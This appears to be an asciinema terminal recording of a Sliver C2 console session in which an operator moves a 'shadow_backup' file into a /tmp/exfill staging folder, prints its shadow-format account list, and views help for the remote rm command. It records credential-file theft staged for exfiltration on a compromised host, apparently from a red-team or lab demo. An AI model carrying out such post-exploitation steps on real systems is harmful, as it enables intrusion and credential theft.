[39.579011, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.591282, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[39.595084, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[55D\u001b[26C\u001b[133D\u001b[55C\u001b[?25h"]
|
||||
[39.979969, "o", "\u001b[?25l\u001b[133D"]
|
||||
[39.98123, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[39.982869, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[56D\u001b[26C\u001b[133D\u001b[56C\u001b[?25h"]
|
||||
[40.082003, "o", "\u001b[?25l\u001b[133D"]
|
||||
[40.083, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[40.086276, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/sh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[57D\u001b[26C\u001b[133D\u001b[57C\u001b[?25h"]
|
||||
[40.162778, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[40.163973, "o", "\u001b[6n"]
|
||||
[40.166682, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/sha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[58D\u001b[26C"]
|
||||
[40.167547, "o", "\u001b[133D\u001b[58C\u001b[?25h"]
|
||||
[40.258095, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[40.259161, "o", "\u001b[6n"]
|
||||
[40.263009, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[59D\u001b[26C\u001b[133D\u001b[59C\u001b[?25h"]
|
||||
[40.336117, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[40.336503, "o", "\u001b[6n"]
|
||||
[40.340184, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shado\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[40.340522, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[60D\u001b[26C\u001b[133D\u001b[60C\u001b[?25h"]
|
||||
[40.470924, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[40.476087, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[40.483373, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[61D\u001b[26C\u001b[133D\u001b[61C\u001b[?25h"]
|
||||
[40.777172, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[40.785904, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[40.786195, "o", "\u001b[133D\u001b[1A\u001b[62D\u001b[26C\u001b[133D\u001b[62C\u001b[?25h"]
|
||||
[41.092171, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[41.102119, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.103505, "o", "\u001b[133D\u001b[1A\u001b[63D\u001b[26C\u001b[133D\u001b[63C\u001b[?25h"]
|
||||
[41.139323, "o", "\u001b[?25l\u001b[133D"]
|
||||
[41.141253, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[41.147391, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.147639, "o", "\u001b[133D\u001b[1A\u001b[64D\u001b[26C\u001b[133D\u001b[64C\u001b[?25h"]
|
||||
[41.232342, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[41.236419, "o", "\u001b[6n"]
|
||||
[41.242607, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_bac\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[41.243455, "o", "\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[65D\u001b[26C\u001b[133D\u001b[65C\u001b[?25h"]
|
||||
[41.330534, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[41.332381, "o", "\u001b[6n"]
|
||||
[41.33479, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[41.335394, "o", "\u001b[1A\u001b[66D\u001b[26C\u001b[133D\u001b[66C\u001b[?25h"]
|
||||
[41.57333, "o", "\u001b[?25l"]
|
||||
[41.576837, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[41.584022, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_backu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[67D\u001b[26C\u001b[133D\u001b[67C\u001b[?25h"]
|
||||
[41.750013, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[41.758291, "o", "\u001b[6n"]
|
||||
[41.765596, "o", "\u001b[1m\u001b[32mmv \u001b[39m\u001b[22mshadow_backup /tmp/exfill/shadow_backup\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[41.766062, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[68D\u001b[26C\u001b[133D\u001b[68C\u001b[?25h"]
|
||||
[42.74357, "o", "\u001b[68D\u001b[26C"]
|
||||
[42.745566, "o", "\u001b[6n"]
|
||||
[42.749571, "o", "\u001b[133D\u001b[68C\u001b[0J"]
|
||||
[42.751479, "o", "\u001b[133D\r\r\n\u001b[0 q\r\n"]
|
||||
[42.842923, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mshadow_backup > /tmp/exfill/shadow_backup\r\n\r\n"]
|
||||
[42.85322, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[42.853339, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[42.853376, "o", "\u001b[6n"]
|
||||
[42.855296, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[44.732641, "o", "\u001b[?25l"]
|
||||
[44.739476, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[44.756104, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[44.9115, "o", "\u001b[?25l\u001b[133D"]
|
||||
[44.912724, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[44.917745, "o", "ca\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
|
||||
[45.072046, "o", "\u001b[?25l"]
|
||||
[45.078879, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[45.090026, "o", "\u001b[1m\u001b[32mcat\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[45.091567, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[45.265417, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[45.277864, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[45.278093, "o", "\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[46.318561, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[46.330092, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[46.61635, "o", "\u001b[?25l"]
|
||||
[46.617085, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[46.628005, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[46.628616, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[26C\u001b[133D\u001b[32C\u001b[?25h"]
|
||||
[46.708941, "o", "\u001b[?25l\u001b[133D"]
|
||||
[46.710932, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[46.716622, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tm\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[26C\u001b[133D\u001b[33C\u001b[?25h"]
|
||||
[46.803599, "o", "\u001b[?25l"]
|
||||
[46.805099, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[46.812464, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[46.814584, "o", "\u001b[133D\u001b[1A\u001b[34D\u001b[26C\u001b[133D\u001b[34C\u001b[?25h"]
|
||||
[47.093701, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[47.099599, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[47.101722, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[26C\u001b[133D\u001b[35C\u001b[?25h"]
|
||||
[47.240519, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[47.242173, "o", "\u001b[6n"]
|
||||
[47.24705, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[47.248127, "o", "\u001b[133D\u001b[1A\u001b[36D\u001b[26C\u001b[133D\u001b[36C\u001b[?25h"]
|
||||
[47.435494, "o", "\u001b[?25l"]
|
||||
[47.437767, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[47.450495, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[37D\u001b[26C\u001b[133D\u001b[37C\u001b[?25h"]
|
||||
[47.731035, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[47.741547, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[47.743115, "o", "\u001b[133D\u001b[1A\u001b[38D\u001b[26C\u001b[133D\u001b[38C\u001b[?25h"]
|
||||
[47.869998, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[47.87498, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[47.876375, "o", "\u001b[133D\u001b[1A\u001b[39D\u001b[26C\u001b[133D\u001b[39C\u001b[?25h"]
|
||||
[47.925902, "o", "\u001b[?25l"]
|
||||
[47.929166, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[47.934184, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[47.934672, "o", "\u001b[1A\u001b[40D\u001b[26C\u001b[133D\u001b[40C\u001b[?25h"]
|
||||
[48.102689, "o", "\u001b[?25l"]
|
||||
[48.116547, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[48.121463, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[48.121953, "o", "\u001b[133D\u001b[1A\u001b[41D\u001b[26C\u001b[133D\u001b[41C\u001b[?25h"]
|
||||
[48.546104, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[48.555915, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[42D\u001b[26C\u001b[133D\u001b[42C\u001b[?25h"]
|
||||
[48.7765, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[48.78249, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[48.784186, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[26C\u001b[133D\u001b[43C\u001b[?25h"]
|
||||
[48.872687, "o", "\u001b[?25l\u001b[133D"]
|
||||
[48.87301, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[48.875792, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/sh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[44D\u001b[26C\u001b[133D\u001b[44C\u001b[?25h"]
|
||||
[48.964134, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[48.96483, "o", "\u001b[6n"]
|
||||
[48.969772, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/sha\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[48.970898, "o", "\u001b[133D\u001b[1A\u001b[45D\u001b[26C\u001b[133D\u001b[45C\u001b[?25h"]
|
||||
[49.073899, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[49.081928, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shad\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[49.083202, "o", "\u001b[1A\u001b[46D\u001b[26C\u001b[133D\u001b[46C\u001b[?25h"]
|
||||
[49.15208, "o", "\u001b[?25l"]
|
||||
[49.155533, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[49.160728, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shado\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[49.161059, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[47D\u001b[26C\u001b[133D\u001b[47C\u001b[?25h"]
|
||||
[49.308998, "o", "\u001b[?25l"]
|
||||
[49.310158, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[49.312199, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[48D\u001b[26C\u001b[133D\u001b[48C\u001b[?25h"]
|
||||
[49.644092, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[49.651504, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[49.653884, "o", "\u001b[133D\u001b[1A\u001b[49D\u001b[26C\u001b[133D\u001b[49C\u001b[?25h"]
|
||||
[50.164413, "o", "\u001b[?25l"]
|
||||
[50.165926, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[50.169503, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[50.170954, "o", "\u001b[1A\u001b[50D\u001b[26C\u001b[133D\u001b[50C\u001b[?25h"]
|
||||
[50.252651, "o", "\u001b[?25l\u001b[133D"]
|
||||
[50.254874, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[50.26258, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[51D\u001b[26C\u001b[133D\u001b[51C\u001b[?25h"]
|
||||
[50.286364, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[50.287492, "o", "\u001b[6n"]
|
||||
[50.290874, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_bac\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[50.291953, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[52D\u001b[26C\u001b[133D\u001b[52C\u001b[?25h"]
|
||||
[50.423942, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[50.424882, "o", "\u001b[6n"]
|
||||
[50.440395, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[50.442511, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[53D\u001b[26C\u001b[133D\u001b[53C\u001b[?25h"]
|
||||
[50.654647, "o", "\u001b[?25l\u001b[133D"]
|
||||
[50.655627, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[50.657449, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_backu\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[54D\u001b[26C\u001b[133D\u001b[54C\u001b[?25h"]
|
||||
[50.886992, "o", "\u001b[?25l"]
|
||||
[50.892802, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[50.900633, "o", "\u001b[1m\u001b[32mcat \u001b[39m\u001b[22m/tmp/exfill/shadow_backup\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[55D\u001b[26C\u001b[133D\u001b[55C\u001b[?25h"]
|
||||
[51.205717, "o", "\u001b[55D\u001b[26C"]
|
||||
[51.208926, "o", "\u001b[6n"]
|
||||
[51.228582, "o", "\u001b[133D\u001b[55C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
|
||||
[51.319571, "o", "\r\u001b[2K"]
|
||||
[51.322089, "o", "root:*:19472:0:99999:7:::\r\ndaemon:*:19472:0:99999:7:::\r\nbin:*:19472:0:99999:7:::\r\nsys:*:19472:0:99999:7:::\r\nsync:*:19472:0:99999:7:::\r\ngames:*:19472:0:99999:7:::\r\nman:*:19472:0:99999:7:::\r\nlp:*:19472:0:99999:7:::\r\nmail:*:19472:0:99999:7:::\r\nnews:*:19472:0:99999:7:::\r\nuucp:*:19472:0:99999:7:::\r\nproxy:*:19472:0:99999:7:::\r\nwww-data:*:19472:0:99999:7:::\r\nbackup:*:19472:0:99999:7:::\r\nlist:*:19472:0:99999:7:::\r\nirc:*:19472:0:99999:7:::\r\ngnats:*:19472:0:99999:7:::\r\nnobody:*:19472:0:99999:7:::\r\n_apt:*:19472:0:99999:7:::\r\n\r\n\r\n"]
|
||||
[51.332505, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[51.332892, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[51.334645, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[51.335388, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
|
||||
[53.195564, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[53.19894, "o", "\u001b[6n"]
|
||||
[53.205974, "o", "r\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[53.207096, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
|
||||
[53.67869, "o", "\u001b[?25l"]
|
||||
[53.68055, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[53.684107, "o", "\u001b[1m\u001b[32mrm\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C"]
|
||||
[53.685155, "o", "\u001b[?25h"]
|
||||
[53.843103, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[53.854517, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
|
||||
[53.858017, "o", "\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
|
||||
[54.352012, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[54.36483, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[54.365155, "o", "\u001b[133D\u001b[1A\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
|
||||
[54.690116, "o", "\u001b[?25l\u001b[133D"]
|
||||
[54.691211, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
[54.695359, "o", "\u001b[1m\u001b[32mrm \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-h\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[26C\u001b[133D\u001b[31C\u001b[?25h"]
|
||||
[54.973552, "o", "\u001b[31D\u001b[26C\u001b[6n"]
|
||||
[54.984703, "o", "\u001b[133D\u001b[31C\u001b[0J\u001b[133D\r\r\n\u001b[0 q\r\n"]
|
||||
[54.993091, "o", "\u001b[1mCommand:\u001b[0m rm [remote path]\r\n\u001b[1mAbout:\u001b[0m Delete a remote file or directory.\r\n\r\n"]
|
||||
[55.002599, "o", "Usage:\r\n rm [flags]\r\n\r\nFlags:\r\n -F, --force ignore safety and forcefully remove files\r\n -h, --help help for rm\r\n -r, --recursive recursively remove files\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n"]
|
||||
[55.003053, "o", "\r\n"]
|
||||
[55.021012, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
|
||||
[55.021857, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
|
||||
